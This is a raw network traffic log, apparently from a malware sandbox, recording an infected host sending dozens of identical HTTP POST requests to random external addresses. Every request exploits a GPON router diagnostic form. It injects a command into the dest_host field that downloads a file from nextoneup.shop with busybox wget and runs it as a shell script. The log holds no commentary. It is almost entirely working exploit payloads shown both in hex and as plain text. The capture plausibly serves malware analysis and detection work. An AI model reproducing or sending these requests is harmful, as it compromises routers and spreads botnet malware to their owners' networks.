Apr 14, 2024 04:00:01.814071894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.13	60098	118.116.10.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814085007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.13	36484	5.174.85.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814117908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.13	46834	94.123.129.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814132929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.13	38452	42.94.37.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814145088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.13	46926	2.231.153.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814169884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.13	42674	212.69.158.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814173937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.13	49058	210.174.36.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814201117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.13	60656	79.83.104.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814217091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.13	33004	148.129.227.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814234972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.13	55030	148.43.202.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814243078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.13	54478	210.108.19.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814249039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.13	46454	212.144.177.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814258099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.13	44214	202.118.229.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814277887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.13	45578	2.77.3.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814280033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.13	45264	148.76.136.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814281940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.13	60976	37.72.177.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814366102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.13	56012	117.9.106.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814368963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.13	42506	212.70.244.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814410925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.13	42622	118.198.240.250	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814429998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.13	52290	148.64.102.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.814429998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.13	52718	5.62.166.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820291996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.13	58844	109.140.89.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820328951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.13	52778	117.101.133.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820386887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.13	35610	94.186.143.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820419073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.13	55712	5.92.209.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820435047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
